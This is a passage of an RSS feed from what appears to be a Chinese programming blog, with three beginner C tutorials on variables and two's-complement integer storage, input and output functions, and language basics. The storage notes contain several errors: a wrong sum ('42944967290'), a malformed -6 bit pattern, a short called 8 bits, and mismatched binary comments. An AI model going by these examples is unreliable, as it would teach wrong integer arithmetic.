	变量会对应一个可写可读的内存单元。
</p>

<p>
	内存单元由变量的类型来决定。
</p>

<p>
	定义格式：
</p>

<p>
	数据类型 变量名（=变量的初始值）
</p>

<p>
	Int b=5；定义时才叫初始化。
</p>

<p>
	 
</p>

<p>
	二、c语言标识符
</p>

<p>
	定义：只能由数字，字母，下划线组成，不能由数字开头
</p>

<p>
	不支持如%，*，&amp;  不能使用c语言内部标识符
</p>

<p>
	 
</p>

<p>
	三、变量属性
</p>

<p>
	1.数据类型：任意C语言的数据类型
</p>

<p>
	2.变量名：必须符合C语言标识符的规定，且不能是C语言的关键字
</p>

<p>
	3.变量内存单元：用来保存变量数据的存储空间，这个存储空间会有一个地址（编号）
</p>

<p>
	4.变量的值：内存单元里放的内容
</p>

<p>
	 
</p>

<p>
	四、变量可代表的意思
</p>

<p>
	1.代表变量的值：右值-----&gt;pringtf("%d\n",a);
</p>

<p>
	2.代表变量的内存单元：左值-----&gt;变量的地址
</p>

<p>
	 
</p>

<p>
	五、整数存储方式
</p>

<p>
	整数在计算机内以二进制补码存储
</p>

<p>
	原码即数据转化为二进制
</p>

<p>
	6: 0000 0000 0000 0000 0000 0000 0000 0110
</p>

<p>
	补码：
</p>

<p>
	正数补码是原码
</p>

<p>
	负数补码是它的绝对值的原码取反加一
</p>

<p>
	-6：1111 1111 1111 1111 1111 1111 1001---&gt;取反
</p>

<p>
	       1111 1111 1111 1111 1111 1111 1001---&gt;加一
</p>

<p>
	4294967290：
</p>

<p>
	和-6补码一样
</p>

<p>
	printf("%d\n", -6);
</p>

<p>
	printf("%u\n", -6);
</p>

<p>
	 
</p>

<p>
	六、Int 有符号整形
</p>

<p>
	最高bit位是符号
</p>

<p>
	其它bit位是数据
</p>

<p>
	 
</p>

<p>
	总结：42944967290 + 6 = 4294967296=2^32
</p>

<p>
	 
</p>

<p>
	七、浮点数存储方法
</p>

<p>
	 符号位 指数位 科学计数小数部分
</p>

<table><tbody><tr><td>
				<p>
					0/1
				</p>

				<p>
					1bit
				</p>
			</td>
			<td>
				<p>
					符号由127中间节点控制 0~255
				</p>

				<p>
					8bit
				</p>
			</td>
			<td>
				<p>
					23bit 空余位在后边补0
				</p>
			</td>
		</tr></tbody></table><p>
	  以12.5进行分析
</p>

<p>
	1.转换成二进制是什么
</p>

<p>
	1100.1
</p>

<p>
	1 * 2^-1 = 1/2 = 0.5
</p>

<p>
	2.变为科学计数(方法和十进制一样)
</p>

<p>
	1.1001 * 2^3
</p>

<p>
	 八、整数之间赋值问题
</p>

<p>
	int a = -6;
</p>

<p>
	//sizeof(a) &lt;=&gt; sizeof(int0 = 4
</p>

<p>
	short int b = 100;
</p>

<p>
	short int c = 200;
</p>

<p>
	b = c;//相同类型数据进行赋值
</p>

<p>
	类型相互兼容两个数据相互赋值
</p>

<p>
	b = a; 长给短赋值 a会多一部分
</p>

<p>
	a = b; 短给长赋值 空余一部分
</p>

<p>
	(1)长给短赋值
</p>

<p>
	低位直接拷贝copy ，高位 直接扔了
</p>

<p>
	int a =123888;32位 //0...0 0001 1110 0011 1111 0000
</p>

<p>
	short b = a; 8位 //1110 0011 1111 0000
</p>

<p>
	hd 有符号短整型
</p>

<p>
	hu 无符号短整型
</p>

<p>
	printf("%hd\n",b); //-7184 0001 1100 0001 0000
</p>

<p>
	printf("%hu\n",b); //58352
</p>

<p>
	练习：
</p>

<p>
	int a = 360; // 0001 0110 1000
</p>

<p>
	char c = a; // 0110 1000 --&gt; 104
</p>

<p>
	printf("%c",c); // --&gt;'h'
</p>

<p>
	溢出：
</p>

<p>
	char c = 358; //0001 0110 0110
</p>

<p>
	c 只有一个字节 8 bit 超出的bit位 直接舍弃
</p>

<p>
	c // 0110 0110 --&gt; 'f'
</p>

<p>
	(2)短给长赋值
</p>

<p>
	分情况讨论
</p>

<p>
	对于短数据是有符号，长数据高位全部补符号位（短数据）
</p>

<p>
	short a = 12;
</p>

<p>
	int b = -4;
</p>

<p>
	b = a; //补 a 的符号位
</p>

<p>
	对于短数据是无符号，长数据高位全部补0
</p>

<p>
	------------------------------------------
</p>

<p>
	int a = -6;
</p>

<p>
	short b = -100;
</p>

<p>
	sizeof(b) = 2
</p>

<p>
	//-100(原码):1000 0000 0110 0100
</p>

<p>
	//100(原码) :0000 0000 0110 0100
</p>

<p>
	//取反:1111 1111 1001 1011
</p>

<p>
	//加1:1111 1111 1001 1100
</p>

<p>
	a=b;
</p>

<p>
	//短给长，有符号，前面补符号位。
</p>

<p>
	//a:1....1 1111 1111 1001 1100
</p>

<p>
	printf("%d\n",a);-100
</p>

<p>
	//打印原码对应的值 负数补码-1取反(最高bit位不变)
</p>

<p>
	//10...0 0110 0100 -100
</p>

<p>
	printf("%u\n",a);
</p>

<p>
	//a(补) = 1...1 1111 1111 1001 1100
</p>

<p>
	//2^32-100 = 4294967196
</p>

<p>
	-------------------------------------
</p>

<p>
	int a = -6;
</p>

<p>
	unsigned short b = -100;
</p>

<p>
	//-100(原码)1000 0000 0110 0100
</p>

<p>
	//100(原码)0000 0000 0110 0100
</p>

<p>
	//取反：1111 1111 1001 1011
</p>

<p>
	//+1： 1111 1111 1001 1100 (-100的补码)
</p>

<p>
	a = b; // a(补) = 0...0(无符号前面补0) 1111 1111 1001 1100
</p>

<p>
	printf("%d\n",a); // a(原) = 0...0 1111 1111 1001 1100
</p>

<p>
	printf("%u\n",a); // a(原) = 0...0 1111 1111 1001 1100
</p>

<p>
	 
</p>

<p>
	练习
</p>

<p>
	printf("%d\n",-1);
</p>

<p>
	// 默认 int
</p>

<p>
	// -1(原) 1...0 0001
</p>

<p>
	// 取反 1...1 1110
</p>

<p>
	// 加1 1....1 1111
</p>

<p>
	//打印原码对应的值 负数补码-1取反(最高bit位不变)
</p>

<p>
	// 有符号整型打印 -1
</p>

<p>
	 
</p>

<p>
	printf("%u\n",-1);
</p>

<p>
	// 默认 int
</p>

<p>
	// 1111...1111
</p>

<p>
	// 无符号整型打印 2^32 - 1
</p>

<p>
	 
</p>

<p>
	printf("%d\n",-1u);
</p>

<p>
	// -1(补) 1111...1111
</p>

<p>
	// -1u(无符号-补) 1111...1111
</p>

<p>
	// 有符号整型打印 -1
</p>

<p>
	 
</p>

<p>
	printf("%u\n",-1u);
</p>

<p>
	// -1(补) 1111...1111
</p>

<p>
	// -1u(无-补) 1111...1111
</p>

<p>
	// 无符号整型打印 2^32 - 1
</p>

<p>
	 
</p>

<p>
	printf("%d\n",(char)-1);// (char)-1 1111 1111
</p>

<p>
	// -1(补) 1111...1111
</p>

<p>
	// (char)-1(补) 1111 1111
</p>

<p>
	// 有符号打印，短-&gt;长 8bit-&gt;32bit 补符号位
</p>

<p>
	// 1111...1111
</p>

<p>
	// 有符号整型打印-1
</p>

<p>
	 
</p>

<p>
	printf("%u\n",(char)-1);
</p>

<p>
	// (char)-1(补) 1111 1111
</p>

<p>
	// 8bit --&gt; 32bit 有符号
</p>

<p>
	// 1111...1111
</p>

<p>
	// 无符号整型打印 2^32 - 1
</p>

<p>
	 
</p>

<p>
	printf("%d\n",(unsigned char)-1);
</p>

<p>
	// -1(补) 1111...1111
</p>

<p>
	// (unsigned char)-1 1111 1111
</p>

<p>
	// 有符号整型打印 短变长 无符号型加0 0000...0000 1111 1111 ---&gt; 255
</p>

<p>
	 
</p>

<p>
	printf("%u\n",(unsigned char)-1);
</p>

<p>
	// -1(补) 1111...1111
</p>

<p>
	// (unsigned char)-1 1111 1111
</p>

<p>
	// 无符号整型打印 短变长 无符号型加0 0000...0000 1111 1111 ---&gt; 255
</p>

<p>
	 
</p>

<p>
	printf("%d\n",(char)255);
</p>

<p>
	// 255(补) 000...000 1111 1111
</p>

<p>
	// (char)255(补) 1111 1111
</p>

<p>
	// 短变长 11...11 1111 1111
</p>

<p>
	//有符号整型打印-1 打印原码对应的值 负数补码-1取反(最高bit位不变)
</p>

<p>
	 
</p>

<p>
	printf("%u\n",(char)255);
</p>

<p>
	// 255(补) 000...000 1111 1111
</p>

<p>
	// (char)255(补) 1111 1111
</p>

<p>
	// 短变长 11...11 1111 1111
</p>

<p>
	// 无符号整型打印 2^32 - 1
</p>

<p>
	 
</p>

<p>
	printf("%d\n",(unsigned char)255);
</p>

<p>
	// 255(补) 000...000 1111 1111
</p>

<p>
	// (unsigned char)255(补) 1111 1111
</p>

<p>
	// 短变长 无符号型加0 0000...0000 1111 1111 ---&gt; 255
</p>

<p>
	// 有符号整型打印255
</p>
]]></description><guid isPermaLink="false">308</guid><pubDate>Sat, 15 Oct 2022 21:11:01 +0000</pubDate></item><item><title>C&#x8BED;&#x8A00;&#x57FA;&#x7840;&#x5165;&#x95E8;&#xFF08;&#x7ECF;&#x5178;&#x6536;&#x85CF;&#xFF09;</title><link>https://www.hackhat.org/Hacker-topic/307.html/</link><description><![CDATA[<p>
	 
</p>

<p>
	本篇文章是对学习C语言程序设计的基础，以及容易难理解，和一些控制语句的同学进行详细的分析介绍，需要的朋友点个赞再走哦，绝不做白嫖党！
</p>

<h2>
	一、数据的输入与输出
</h2>

<p>
	1、格式化输入输出（printf函数,scanf函数）
</p>

<p>
	printf函数&lt;格式化输出函数&gt;，它是向输出设备是（显示器）输出一定的数据。
</p>

<p>
	其格式为printf(格式串,输出项列表);
</p>

<p>
	scanf函数&lt;格式化输入函数&gt;，它是能够根据指定格式由输入设备（键盘）进行数据的输入。
</p>

<p>
	其格式为scanf(格式串,输入项列表);
</p>

<p>
	常用格式说明符如下：
</p>

<p>
	%d——用来输出十进制整数；<br />
	%f——用来输出实数（包括单，双精度），以小数形式输出，默认情况下保留小数点6位；<br />
	%c——用来输出一个字符；<br />
	%s——用来输出一个字符串
</p>

<p>
	2、字符输入输出函数（putchar函数,getchar函数）
</p>

<p>
	putchar函数&lt;字符输出函数&gt;，它是向终端（显示器）输出非指定格式的单个字符。
</p>

<p>
	其格式putchar(输出项);
</p>

<p>
	getchar函数&lt;字符输入函数&gt;，它是从终端（键盘）输入单个字符。
</p>

<p>
	其格式为 变量名=getchar()
</p>

<p>
	以上两个是在C中，拓展一下：在c语言中，因为在输入数据的同时还要说明数据的类型,如果输入数据较多,那就很麻烦了,所以我们的C++搞了两个更爽的东西cout和cin,来替换它们.首先我们先了解一下这两个东西的来处,它们是来自C++的一个类库叫 " iostream".<br />
	iostream是由istream(输入类)和ostream(输出类)派生.
</p>

<p>
	所以在iostream中就有了输入和输出的相关对象:
</p>

<p>
	<br />
	3、cin,输入方法有，cin&gt;&gt; 表示标准输入(standard input)的istream类对象.cin使我们可以从设备读取数据. <br />
	4、cout,输入方法有，cout&lt;&lt;表示标准输出(standard output)的ostream类对象.cout使我们可以向设备输出或者写数据.
</p>

<p>
	 以上就是本章的全部内容，下一篇即将是选择控制语句篇，如果感觉有帮助，点个赞再走吧         ！—！—！—！
</p>
]]></description><guid isPermaLink="false">307</guid><pubDate>Sat, 15 Oct 2022 21:10:29 +0000</pubDate></item><item><title>C&#x8BED;&#x8A00;&#x7684;&#x57FA;&#x672C;&#x6982;&#x8FF0;&#x4E00;&#xFF08;&#x7A0B;&#x5E8F;&#x4E0E;&#x8BED;&#x8A00;&#xFF09;</title><link>https://www.hackhat.org/Hacker-topic/306.html/</link><description><![CDATA[<p>
	 
</p>

<p>
	      在进行阐述之前，我们必须得先明白一个问题，就是C语言是什么。它是一门高级语言，这使得我们不必再用数字码表示指令，使得我们的指令可以更好的体现我们的想法，然后也不需要去考虑机器它怎么执行我们的代码的，我们要做的，仅仅是让计算机得出我们想要的结果。然后，它是一门面向过程的语言，也就是说它是分析出解决问题所需要的步骤，然后用函数把这些步骤一步一步实现，使用的时候一个一个依次调用。
</p>

<p>
	      我们使用C语言，那么它有那些特点呢？它具有：
</p>

<p>
	1、语言简洁、紧凑、使用方便、灵活
</p>

<p>
	2、运算符丰富
</p>

<p>
	3、数据类型丰富
</p>

<p>
	4、具有结构化控制语句
</p>

<p>
	5、语法限制不太严格，程序设计自由度大
</p>

<p>
	6、C语言允许直接访问物理地址，能进行位操作，能实现汇编语言的大部分功能，可以直接对硬件操作
</p>

<p>
	7、可移植性好
</p>

<p>
	8、生成目标代码质量高，程序执行效率高等.
</p>

<p>
	     上面说明了C语言的八个特性。我们对其进行相应的阐述，
</p>

<p>
	较之于之前的语言，其的可读性有了较大的提升，对于运算符方面，可以直接参考这个网站中说明的，也就是说包含了算术运算符、关系运算符、逻辑运算符、位运算符、赋值运算符、杂项运算符。这里不再赘述：
</p>

<p>
	<a href="https://www.runoob.com/cprogramming/c-operators.html" rel="external nofollow">C 运算符 | 菜鸟教程 (runoob.com)</a>
</p>

<p>
	其中需要进行说明的是位运算符中的取反运算、左移、右移。取反运算是说我们输入一个数字，将它的二进制进行取反，也就是1变成0.
</p>

<p>
	<strong>数据类型丰富</strong>，
</p>

<p>
	它目前拥有的数据类型可以概括为：基本类型、枚举类型、空类型、派生类型。其中的基本类型就是我们常用的整数类型和浮点类型，派生类型有指针类型、数组类型、结构体类型、共用体类型以及函数类型。
</p>

<p>
	整数类型：包含了int,long,short,char.。浮点数类型：float,double
</p>

<p>
	枚举类型：枚举类型比较特别，它是声明符号名称来表示整形常量。例如我们常用的一周，将周一设为0，周二设为1这样。例子如下：
</p>

<pre><span>#include</span><span>&lt;stdio.h&gt;</span>
<span>int</span><span> main</span><span>(</span><span>void</span><span>)</span>
<span>{</span>
	<span>enum</span><span> week</span><span>{</span><span>monday</span><span>,</span><span>tuesday</span><span>,</span><span>wednesday</span><span>,</span><span>thirsday</span><span>,</span><span>friday</span><span>,</span><span>saturday</span><span>,</span><span>sunday
	</span><span>};</span>
	<span>int</span><span> day</span><span>;</span>
	<span>for</span><span>(</span><span>day</span><span>=</span><span>monday</span><span>;</span><span>day</span><span>&lt;=</span><span>sunday</span><span>;</span><span>day</span><span>++)</span>
	<span>{</span><span>
		printf</span><span>(</span><span>"%d\n"</span><span>,</span><span> day</span><span>);</span>
	<span>}</span>
	<span>return</span> <span>0</span><span>;</span>
<span>}</span>	</pre>

<p>
	空类型：这个用的比较少
</p>

<p>
	指针类型：这个可以参照我的另外一篇博客：
</p>

<blockquote>
	<p>
		<a href="https://www.cnblogs.com/TomHard/p/15921041.html" rel="external nofollow">https://www.cnblogs.com/TomHard/p/15921041.html</a>
	</p>
</blockquote>

<p>
	数组类型：这个可以参照我另外一篇博客：
</p>

<blockquote>
	<p>
		<a href="https://www.cnblogs.com/TomHard/p/16049387.html" rel="external nofollow">https://www.cnblogs.com/TomHard/p/16049387.html</a>
	</p>
</blockquote>

<p>
	结构体类型：这个可以参照我另外一篇博客：
</p>

<blockquote>
	<p>
		<a href="https://www.cnblogs.com/TomHard/p/16049482.html" rel="external nofollow">https://www.cnblogs.com/TomHard/p/16049482.html</a>
	</p>
</blockquote>

<p>
	共用体类型：这个可以参照我另外一篇博客：
</p>

<blockquote>
	<p>
		<a href="https://www.cnblogs.com/TomHard/p/16054300.html" rel="external nofollow">https://www.cnblogs.com/TomHard/p/16054300.html</a>
	</p>
</blockquote>

<p>
	函数类型：这个可以参照下面的链接：
</p>

<blockquote>
	<p>
		<a href="https://www.runoob.com/cprogramming/c-functions.html" rel="external nofollow">https://www.runoob.com/cprogramming/c-functions.html</a>
	</p>
</blockquote>

<p>
	<strong>具有结构化控制语句</strong>：具体可以参考我的一篇博客
</p>

<blockquote>
	<p>
		<a href="https://www.cnblogs.com/TomHard/p/16042397.html" rel="external nofollow">https://www.cnblogs.com/TomHard/p/16042397.html</a>
	</p>
</blockquote>

<p>
	说到结构化控制语句，我们首先得知道C语言有五种常用的语句，包括了：
</p>

<p>
	1、表达式语句，就像12；c=12;这样的语句
</p>

<p>
	2、流程控制语句
</p>

<p>
	（包括结构化语句和非结构化语句）
</p>

<p>
	结构化语句包括条件语句和循环语句
</p>

<p>
	非结构化语句包括限定向语句和非限定转向语句
</p>

<p>
	3、函数调用语句
</p>

<p>
	4、空语句
</p>

<p>
	5、复合语句
</p>

<p>
	<strong>对文件的处理</strong>：具体参照这个链接里面的讲述：
</p>

<blockquote>
	<p>
		<a href="https://www.runoob.com/cprogramming/c-file-io.html" rel="external nofollow">https://www.runoob.com/cprogramming/c-file-io.html</a>
	</p>
</blockquote>

<p>
	     C语言中使用的两种注释方法：
</p>

<p>
	1、//
</p>

<p>
	2、/* */
</p>

<p>
	<strong>C语言程序的结构特点</strong>：
</p>

<p>
	1、一个程序包含一个或多个源程序文件组成。
</p>

<p>
	     一个源程序文件可以包含3个部分：预处理指令（比方说#include&lt;stdlib.h&gt;、全局声明、函数定义
</p>

<p>
	2、函数是C程序的主要组成成分。
</p>

<p>
	    如果我们敲代码多的话，我们会发现一个有意思的现象，就是一个程序中一般都包含着一个main函数，如果这个函数存在的话，那么这个函数就是程序的主要部分（是说程序从这开始调用其他函数，进行程序运行）。注意，我说的是一般，有的时候，如果这个项目很大，会存在源文件中没有main函数地方情况，这个需要注意。
</p>

<p>
	3、一个函数包含两个部分
</p>

<p>
	     函数是完成特定任务的独立程序代码单元。它包含两个部分，函数头和函数体，函数体由声明部分和执行语句组成
</p>

<p>
	4、程序总是从main函数开始执行，从main函数结束
</p>

<p>
	5、程序中对计算机的操作都是由函数中的C语句完成的
</p>

<p>
	6、在每个数据声明和语句最后必须有一个分号
</p>

<p>
	7、程序中应该包含注释
</p>

<p>
	      我们现在知道C语言程序的特点了，那么我们需要知道一个问题，就是程序是什么？程序=数据结构+算法+程序设计方法+语言工具和环境。
</p>

<p>
	看到这句话我们可能就懵掉了，数据结构是什么？算法又是什么？数据结构是说在程序中需要指定数据的类型和数据的组织形式。算法是说操作步骤，计算机算法可以分为数值运算算法（求解数值）和非数值运算算法（事务管理领域）。
</p>

<p>
	算法的特性：
</p>

<p>
	1、有穷性：一个算法应包含有限的操作步骤而不是无限的。
</p>

<p>
	2、确定性：算法中每一个操作步骤应当是确定的，而不能是模糊的。
</p>

<p>
	3、由零个或多个输入
</p>

<p>
	4、有一个或斗个输出
</p>

<p>
	5、有效性：算法中每一个步骤应该能够有效地执行，并得到确定的结果
</p>

<p>
	如何表示一个算法？主要表示方法为：伪代码和流程图。其中伪代码是指我们可以通过使用一种介于自然语言和计算机语言之间的文字符号来描述算法，伪代码在编译原理中常常使用来进行表示系统中代码之间的逻辑。流程图实际上就是由几个图像进行算法的描述。包括的图像有起止框、输入输出框、判断框、处理框、流程线、连接点这些。可以参考这篇文章里面的讲述
</p>

<blockquote>
	<p>
		<a href="http://c.biancheng.net/cpp/html/1722.html" rel="external nofollow">http://c.biancheng.net/cpp/html/1722.html</a>
	</p>
</blockquote>

<p>
	C语言的三种基本结构为顺序结构、选择结构、循环结构。这三种基本结构的特点为只有一个入口，只有一个出口，结构内的每一部分都可以被执行，结构内不存在“死循环”。当然了，还有一种绘制流程图的方法，就是用N-S流程图表示算法，可以参考这篇文章：
</p>

<blockquote>
	<p>
		<a href="http://c.biancheng.net/cpp/html/1723.html" rel="external nofollow">http://c.biancheng.net/cpp/html/1723.html</a>
	</p>
</blockquote>

<p>
	 结构化程序设计方法：自顶向下，逐步细化，模块话设计，结构化编码。
</p>
]]></description><guid isPermaLink="false">306</guid><pubDate>Sat, 15 Oct 2022 21:10:13 +0000</pubDate></item></channel></rss>
